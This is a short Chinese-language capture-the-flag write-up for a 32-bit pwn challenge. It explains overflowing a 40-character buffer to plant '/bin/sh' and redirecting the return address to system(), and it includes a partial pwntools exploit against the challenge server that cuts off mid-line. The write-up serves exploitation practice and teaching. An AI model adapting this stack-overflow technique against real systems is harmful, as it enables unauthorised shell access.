pwn-Stack Overflow
地址 https://cgctf.nuptsast.com/challenges#Pwn 先观察一下,是一个32位的程序,而且只开了NX保护 用IDA看看伪代码,重点在message和pwnme这两个函数,一个存在溢出,一个可以调用system函数 我们先看看第一个fgets函数,A的大小是40个字符,明显存在了栈溢出,当A超过40个字符可以覆盖掉n的值,让n覆盖成‘/bin/sh‘,刚好弥补了程序中没有直接调用的shell 思路明确,让A溢出,把n的值覆盖成‘/bin/sh’,然后第二次输出的时候,再次溢出,返回地址覆盖成system的入口地址,再让system的参数变成’/bin/sh‘(n的地址) payload2的p32(0xaaaa)是函数的返回地址,随便填 构造exp如下 from pwn import * r=remote('182.254.217.142',10001) e=ELF('./cgpwna') sys_addr=e.symbols["system"] #sys_addr=0x80483f0 r.recvuntil("your choice:") r.sendline("1") r.recvuntil("you can leave some message here:") payload1='a'*40+'/bin/sh' r.sendline